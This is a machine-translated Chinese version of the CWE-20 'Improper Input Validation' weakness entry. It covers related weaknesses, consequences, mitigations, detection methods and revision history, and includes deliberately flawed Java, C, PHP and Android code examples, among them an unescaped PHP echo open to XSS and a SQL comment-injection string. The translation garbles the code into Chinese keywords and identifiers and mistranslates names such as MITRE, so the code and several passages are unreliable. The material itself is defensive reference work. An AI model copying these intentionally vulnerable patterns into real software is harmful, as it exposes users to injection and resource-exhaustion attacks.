部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 129年 不当的验证数组索引
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1284年 不当验证指定数量的输入
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“七有害的王国”(cwe - 700)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 15 外部控制系统或配置设置
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 73年 外部控制文件名或路径
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 102年 Struts:重复验证形式
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 103年 Struts:不完整的validate()方法的定义
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 104年 Struts:表单Bean不扩展验证类
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 105年 Struts:表单字段验证器
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 106年 Struts:不使用的插件框架
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 107年 Struts:未使用的验证形式
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 108年 Struts:用户搜索行动形式
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 109年 Struts:验证器关闭
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 110年 Struts:没有表单字段验证器
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 111年 直接使用不安全的JNI
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 112年 失踪的XML验证
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 113年 不当中和CRLF序列在HTTP头(HTTP请求/响应分裂)
ParentOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 114年 过程控制
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 117年 不正确的输出中和日志
ParentOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 119年 不当的操作限制的范围内一个内存缓冲区
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 120年 缓冲区复制没有检查输入的大小(经典的缓冲区溢出)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 134年 使用外部控制的格式字符串
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 170年 不当零终止
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 190年 整数溢出或概括的
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 466年 返回指针值的预期范围之外
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 470年 使用外部控制输入选择类或代码(“不安全的反思”)
ParentOf 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 785年 使用路径操作函数没有Maximum-sized缓冲区
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现

实现:造成这一弱点在建筑安全策略的实施。

如果一个程序员认为,攻击者不能修改特定的输入,那么程序员可能不执行任何输入验证。例如,在web应用程序中,许多程序员认为饼干和隐藏表单字段从web浏览器(不能修改cwe - 472),虽然他们可以改变使用代理或一个自定义的程序。在客户机-服务器体系结构中,程序员可能假定客户端无法绕过安全检查,即使可以编写一个定制的客户端,跳过那些检查(cwe - 602)。

+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的(通常是普遍的)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
可用性

技术的影响:DoS:崩溃,退出或重新启动;DoS:资源消耗(CPU);DoS:资源消耗(内存)

攻击者可以提供意想不到的价值,导致程序崩溃或过度消费的资源,如内存和CPU。
保密

技术的影响:读记忆;读文件或目录

攻击者可以读机密数据,如果他们能够控制资源引用。
完整性
保密
可用性

技术的影响:修改内存;执行未经授权的代码或命令

攻击者可以利用恶意输入修改数据或改变控制流以意想不到的方式,包括任意命令执行。
+利用的可能性
+示范例子

示例1

这个例子演示了一个购物交互的用户是免费的,指定要购买物品的数量和总计算。

(坏的代码)
例如语言:Java

公共静态最终双价格= 20.00;
int数量= currentUser.getAttribute(“数量”);
双总=价格*数量;
chargeUser(总);

用户无法控制价格变量,然而代码并不阻止一个负值指定数量。如果攻击者提供一个负数,那么用户将他们的帐户贷方记入借方。

示例2

本例要求用户一个m X n的高度和宽度最大尺寸100方格的棋盘游戏。

(坏的代码)
例如语言:C

#定义MAX_DIM 100

/ * * /董事会维度

int m, n,错误;
board_square_t *板;
printf("请指定董事会高度:\ n”);
错误= scanf (“% d”, a&m);
如果(EOF = =错误){
死亡(“没有通过整数:死邪恶的黑客! \ n”);
}
printf("请指定板宽度:\ n”);
错误= scanf (“% d”, n);
如果(EOF = =错误){
死亡(“没有通过整数:死邪恶的黑客! \ n”);
}
如果(m > MAX_DIM | | n > MAX_DIM) {
死亡(“价值太大:死邪恶的黑客! \ n”);
}
董事会= (board_square_t *) malloc (m * n * sizeof (board_square_t));

虽然这个代码检查,以确保用户无法指定大,正整数和消耗过多内存,它不检查用户提供的负值。因此,攻击者可以执行资源消耗(cwe - 400)攻击这个程序通过指定两个,大的负值,不会溢出,导致一个非常大的内存分配(cwe - 789)甚至系统崩溃。另外,攻击者可以提供非常大的负值将导致一个整数溢出(cwe - 190)和异常行为会取决于价值观对待剩余的项目。

示例3

下面的示例显示了一个PHP应用程序的程序员试图显示用户的生日和主页。

(坏的代码)
例如语言:PHP
$生日= $ _GET['生日快乐'];
$首页= $ _GET['主页');
回声“生日:$生日< br >主页:< a href = $主页>点击这里< / >”

程序员用于生日的日期格式和美元的主页是一个有效的URL。然而,由于来自HTTP请求的值,如果攻击者可以哄骗受害者点击一个精心制作的URL与<脚本>标签提供生日的值和/或主页,则脚本将运行在客户的浏览器当web服务器回应的内容。注意,即使程序员捍卫美元的生日变量通过限制输入整数和破折号,它仍然是可能的攻击者提供一个字符串的形式:

(攻击代码)
2009-01-09——

如果这些数据是在SQL语句中使用,它将把剩余的声明发表评论。评论在声明中可以禁用其他安全相关的逻辑。在这种情况下,编码输入验证相结合将会是一个更有用的保护机制。

此外,XSS (cwe - 79)攻击或SQL注入(cwe - 89)只是几个潜在的后果不使用时输入验证。根据代码的上下文,CRLF注入(cwe - 93),参数注入(cwe - 88),或者命令注入(cwe - 77)也是可能的。

示例4

下面的例子将用户提供的价值分配一个对象数组,然后作用于数组中。

(坏的代码)
例如语言:Java
私人空间buildList (int untrustedListSize) {
如果(0 > untrustedListSize) {
死亡(“负价值提供列表的大小,死邪恶的黑客!”);
}
小部件[]=新的小部件列表(untrustedListSize);
[0]=新的小部件列表();
}

这个例子中试图建立一个从用户指定的值列表,甚至检查以确保提供一个非负价值。然而,如果提供的是一个0值,代码将建立一个数组大小为0,然后尝试一个新的小部件存储在第一个位置,导致抛出一个异常。

示例5

这个Android应用程序注册处理URL时发送一个意图:

(坏的代码)
例如语言:Java


IntentFilter过滤器= new IntentFilter (“com.example.URLHandler.openURL”);
MyReceiver接收机= new MyReceiver ();
registerReceiver(接收机、过滤);


公开课UrlHandlerReceiver BroadcastReceiver{延伸
@Override
公共空间onReceive(上下文语境,意图意图){
如果(com.example.URLHandler.openURL .equals (intent.getAction ())) {
字符串URL = intent.getStringExtra (“URLToOpen”);
int长度= URL.length ();


}
}
}

应用程序总是会假定URL包含在意图。网址不存在时,调用getStringExtra()将返回null,造成一个空指针异常当长度()。

+观察到的例子
参考 描述
链:不当输入验证(CWE-20)导致整数溢出(cwe - 190)在移动操作系统,利用每中钢协KEV在野外。
链:不当输入验证(CWE-20)导致整数溢出(cwe - 190)在移动操作系统,利用每中钢协KEV在野外。
链:反斜杠,后跟一个换行符可以绕过验证步骤(CWE-20),导致eval注入(cwe - 95),利用每中钢协KEV在野外。
链:输入验证不足(CWE-20)在浏览器允许堆腐败(cwe - 787),利用每中钢协KEV在野外。
链:不当输入验证(CWE-20)在用户参数,导致操作系统命令注入(cwe - 78),利用每中钢协KEV在野外。
链:安全产品不当输入验证(CWE-20)导致目录遍历(CWE-22),利用每中钢协KEV在野外。
不当的HTTP请求输入验证IP电话,每中钢协KEV利用在野外。
链:不当输入验证(CWE-20在防火墙产品导致XSS (cwe - 79),利用每中钢协KEV在野外。
链:缓存代理服务器有不当输入验证(CWE-20)的头,允许HTTP响应走私(cwe - 444)使用一个“低频行结束”
Eval注入在Perl程序使用一个ID应该只包含连字符和数字。
SQL注入通过ID应该是数字。
缺乏输入验证电子表格程序导致缓冲区溢出,整数溢出,数组索引错误,和记忆腐败。
验证不足使XSS
司机安全产品允许代码执行由于验证不足
无限循环从DNS数据包标签指向自己
无限循环从DNS数据包标签指向自己
缺少参数会导致崩溃
HTTP请求与失踪的协议版本号会导致崩溃
请求参数会导致信息丢失的风险
系统崩溃与偏移值与数据包大小不一致
大小字段与数据包大小不一致导致缓冲罩上
产品使用denylist识别潜在危险的内容,允许攻击者绕过一个警告
安全旁路通过一个额外的头
空包触发重新启动
不完整的denylist允许SQL注入
空字节主题名称导致目录遍历影响更糟
内核不验证传入指针之前解除它
反病毒产品连接输入验证不足SSDT功能,允许代码执行
反病毒产品允许DoS通过零长度字段
司机从用户空间到内核不验证输入
内核不验证参数从用户发送,允许代码执行
缺乏验证字符串长度字段允许内存消耗或缓冲罩上
缺乏验证长度字段导致无限循环
缺乏验证输入的IOCTL允许代码执行
长度为零的附件导致崩溃
输入长度为零的原因未初始化的指针
通过一个畸形的框架结构崩溃
从长SMTP请求无限循环
畸形数据包的路由器崩溃
包与无效的版本号会导致空指针
崩溃通过多个“。”字符在文件扩展名
+潜在的缓解措施

阶段:体系结构和设计

策略:减少攻击表面

考虑使用language-theoretic安全(LangSec)技术,描述输入使用正式语言和建立“识别器”语言。这实际上需要一个解析不同的层,有效地执行原始输入之间的边界和内部数据表示,而不是允许解析器代码分散在整个程序中,在那里可以受到错误或不一致产生的弱点。(ref - 1109][ref - 1110][ref - 1111]

阶段:体系结构和设计

策略:库或框架

使用一个输入验证框架如Struts或OWASP ESAPI验证API。注意,使用一个框架不会自动处理所有输入验证问题;注意可能出现的弱点从滥用框架本身(cwe - 1173)。

阶段:体系结构和设计;实现

策略:减少攻击表面

理解所有潜在的地区不受信任的输入可以输入软件:参数或参数,饼干,任何从网络读取环境变量,反向DNS查找,查询结果,请求头,URL组件、电子邮件、文件、文件名、数据库,以及任何外部系统提供数据的应用程序。记住,这样的投入可以获得间接通过API调用。

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

有效性:高

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

即使客户端对服务器端安全检查提供最小的好处,他们仍然有用。首先,他们可以支持入侵检测。如果服务器接收输入,应该已经被客户拒绝,那么它可能是一个攻击的迹象。第二,客户端错误检查可以提供有用的反馈给用户预期的有效输入。第三,可能会有意外的服务器端处理时间的减少输入错误,虽然这通常是一个小的储蓄。

实施阶段:

当应用程序结合来自多个数据源的数据,执行验证来源之后的总和。单个数据元素可以通过验证步骤但是违反限制后的总和。

实施阶段:

特别注意验证所有输入调用代码,跨越语言边界时,如从本机代码的解释型语言。这将创建一个意想不到的语言边界之间的交互。确保你没有违反任何期望的语言接口。例如,尽管Java可能不是容易缓冲区溢出,提供一个大型参数调用本地代码可能会触发一个溢出。

实施阶段:

直接输入类型转化为预期的数据类型,比如使用一个转换函数将一个字符串转换为一个数字。预期的数据类型转换后,确保输入的值在许用值的预期范围,包含多个字段的一致性维护。

实施阶段:

输入应该解码和规范化应用程序当前的内部表示之前验证(cwe - 180,cwe - 181)。确保您的应用程序不会无意中解码输入两次相同(cwe - 174)。这些错误可以用来绕过allowlist方案通过引入危险的输入后检查。使用库如OWASP ESAPI规范化控制。

考虑执行重复的规范化,直到输入不会改变。这将避免double-decoding和类似的场景,但它可能无意中修改输入,允许包含正确编码危险的内容。

实施阶段:

当组件之间交换数据,确保组件都使用相同的字符编码。确保适当的编码应用于每个接口。时显式地设置您所使用的编码协议允许你这样做。
+检测方法

自动静态分析

一些不当的实例输入验证可以使用自动检测到静态分析。

静态分析工具可能允许用户指定特定于应用程序的方法或函数执行输入验证;工具可能也有内置的验证框架Struts等知识。该工具可能会压制或de-prioritize任何相关的警告。这允许分析师关注领域的软件输入验证似乎并不存在。

除了前面的段落中描述的情况下,自动静态分析可能无法识别在执行适当的输入验证时,导致假阳性——即。警告,没有任何安全后果或需要任何代码更改。

人工静态分析

当自定义输入验证是必需的,例如当执行业务规则、手册分析是必要的,以确保验证是正确实施。

起毛

起毛技术可用于检测输入验证错误。当意想不到的输入提供给软件,软件不应该崩溃或者变得不稳定,它应该生成application-controlled错误消息。如果发生异常或interpreter-generated错误消息,这表明输入应用程序中没有发现和处理逻辑本身。

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:飙升部分

人工静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 二进制/字节码反汇编程序,然后使用手动分析缺陷和异常

有效性:飙升部分

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • Web应用程序扫描
  • Web服务的扫描仪
  • 数据库扫描仪

有效性:高

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 模糊测试
  • 基于框架Fuzzer
成本有效的部分报道:
  • 扫描仪主机应用程序接口
  • 监控虚拟环境——在沙箱中运行潜在的恶意代码/包装/虚拟机,看看它任何可疑的

有效性:高

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 关注人工抽查,手动分析来源
  • 手工源代码审查(不检查)

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 攻击建模

有效性:高

+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 722年 OWASP十大2004类别A1 -用户输入
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 738年 CERT C安全编码标准(2008)第五章-整数(INT)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 742年 CERT C安全编码标准(2008)第9章-内存管理(MEM)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 746年 CERT C安全编码标准(2008)第十三章-错误处理(ERR)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 747年 CERT C安全编码标准(2008)第14章-杂项(MSC)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 872年 CERT c++安全编码部分04 -整数(INT)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 876年 CERT c++安全编码部分08 -内存管理(MEM)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 883年 CERT c++安全编码部分49 -杂项(MSC)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 994年 SFP二级集群:受污染的输入变量
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1003年 弱点简化映射的漏洞发布
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1005年 7 pk -输入验证和代表性
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1163年 SEI CERT 09 C编码标准指导方针。输入输出(FIO)
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1382年 ICS操作(&维护):新兴能源技术
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

映射

使用映射:气馁(CWE ID不应该用来映射到实际的漏洞)。

理由是:CWE-20通常被滥用在无知的漏洞报告时可以使用低级cw相反,或者更详细的脆弱性是可用的(ref - 1287]。它不是用于趋势分析。它也是一个一级类(即。支柱,一个孩子)。

评论:考虑底层的孩子,如使用不当的验证框架(cwe - 1173)或不当的验证涉及特定类型或属性等的输入指定的数量(cwe - 1284);指定的索引,位置,或抵消(cwe - 1285));语法正确性(cwe - 1286);指定的类型(cwe - 1287);内部一致性输入(cwe - 1288);或不安全的对等(cwe - 1289)。

的关系

cwe - 116CWE-20有着密切的关联,因为根据结构化信息的本质,正确输入验证可以间接地阻止特殊字符改变结构化信息的意义。例如,通过确认数字ID字段应该只包含0 - 9的字符,程序员有效地防止注入攻击。

术语

“输入验证”非常普遍,但它是用在许多不同的方式。在某些情况下使用否则会掩盖真正的潜在弱点或隐藏链接和组合关系。

有些人使用“输入验证”作为一个通用的术语,它包括许多不同的中和技术确保输入是合适的,如过滤、规范化和逃避。其他人使用术语更狭窄的背景下,仅仅指的是“检查输入是否符合预期不改变它。”CWEuses this more narrow interpretation.

维护

截至2020年,通常更喜欢使用这个条目,并经常混淆的来源。正在积极为4.1 CWE改进和后续版本。

维护

等概念验证、数据转换、和中和精制,所以之间的关系CWE-20和其他条目等cwe - 707可能会改变在未来的版本中,连同脆弱性理论的更新文档。

维护

输入验证——无论是缺失或不正确的——是一个重要和普遍安全发展的一部分,它是隐含在许多不同的弱点。传统上,缓冲区溢出等问题和XSS分为输入验证问题,许多安全专家。然而,输入验证未必是唯一的保护机制可以避免这样的问题,在某些情况下甚至是不充分的。CWE团队已经开始捕捉这些微妙之处内链研究概念视图(cwe - 1000),但更多的工作是必要的。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
7有害的王国 输入验证和代表性
OWASP十大2004 A1 CWE更具体 用户输入
CERT C安全编码 ERR07-C 喜欢功能不支持错误检查等效函数
CERT C安全编码 FIO30-C CWE更抽象 排除用户输入的格式字符串
CERT C安全编码 MEM10-C 定义和使用验证函数的指针
WASC 20. 输入处理不当
软件故障模式 SFP25 受污染的输入变量
+引用
卡特里娜REF-6 Tsipenyuk,布莱恩象棋和加里·麦克格劳博士。“七有害的王国:分类软件安全错误”。NIST研讨会软件安全保障技术和度量工具。NIST的。2005-11-07。<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>。
(ref - 166)吉姆Manico。“输入验证ESAPI——非常重要”。2008-08-15。<http://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>。
REF-45 OWASP。“OWASP企业安全API (ESAPI)项目”。<http://www.owasp.org/index.php/ESAPI>。
[ref - 168] Joel Scambray迈克示玛迦勒硅镁层。“黑客暴露的Web应用程序,第二版”。输入验证攻击。麦格劳-希尔。2006-06-05。
[REF-48]耶利米格罗斯曼。“输入验证或输出过滤,哪个更好?”。2007-01-30。<http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html>。
(ref - 170)凯文海狸。“输入验证的重要性”。2006-09-06。<sid92_gci1214373, http://searchsoftwarequality.techtarget.com/tip/0, 289483年,00. html>。
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第十章,“所有输入都是恶!”Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
[ref - 1109]“LANGSEC: Language-theoretic安全”。<http://langsec.org/>。
[ref - 1110]“LangSec:识别、验证和作曲的正确性对真实世界的安全”。<http://langsec.org/bof-handout.pdf>。
(ref - 1111)谢尔盖支流,Lars Hermerschmidt斯文m . Hallberg迈克尔·e·Locasto猎鹰d . Momot梅雷迪思·l·帕特森和安娜Shubina。“治愈脆弱解析器:设计模式安全输入处理”。USENIX;登录:。2017年。<https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>。
(ref - 1287)主教法冠。“补充细节- 2022 CWE前25”。的细节问题映射。2022-06-28。<https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html problematicMappingDetails>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 7有害的王国
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Potential_Mitigations Time_of_Introduction
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新的关系,Other_Notes Taxonomy_Mappings
2008-11-24 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Demonstrative_Examples、描述Likelihood_of_Exploit,名字,Observed_Examples, Other_Notes, Potential_Mitigations,引用,Relationship_Notes、人际关系
2009-03-10 CWE内容团队 主教法冠
更新描述,Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2009-07-27 CWE内容团队 主教法冠
更新的关系
2009-10-29 CWE内容团队 主教法冠
更新Common_Consequences、Demonstrative_Examples Maintenance_Notes、Modes_of_Introduction Observed_Examples,关系,Research_Gaps Terminology_Notes
2009-12-28 CWE内容团队 主教法冠
更新Applicable_Platforms、Demonstrative_Examples Detection_Factors
2010-02-16 CWE内容团队 主教法冠
更新Detection_Factors Potential_Mitigations、引用Taxonomy_Mappings
2010-04-05 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2010-06-21 CWE内容团队 主教法冠
更新Potential_Mitigations、Research_Gaps Terminology_Notes
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2010-12-13 CWE内容团队 主教法冠
更新Demonstrative_Examples、描述
2011-03-29 CWE内容团队 主教法冠
更新Observed_Examples
2011-06-01 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Relationship_Notes
2011-09-13 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2012-05-11 CWE内容团队 主教法冠
更新Demonstrative_Examples、引用Related_Attack_Patterns、人际关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-02-21 CWE内容团队 主教法冠
更新的关系
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-02-18 CWE内容团队 主教法冠
更新Demonstrative_Examples Related_Attack_Patterns
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2017-05-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2017-11-08 CWE内容团队 主教法冠
更新Modes_of_Introduction、引用关系,Taxonomy_Mappings
2018-03-27 CWE内容团队 主教法冠
更新的引用
2019-01-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2019-06-20 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、引用Related_Attack_Patterns、人际关系
2020-06-25 CWE内容团队 主教法冠
更新Applicable_Platforms Demonstrative_Examples,描述、Maintenance_Notes Observed_Examples, Potential_Mitigations,引用,Relationship_Notes,关系,Research_Gaps Terminology_Notes
2020-08-20 CWE内容团队 主教法冠
更新Potential_Mitigations Related_Attack_Patterns,关系
2021-03-15 CWE内容团队 主教法冠
更新描述,Potential_Mitigations
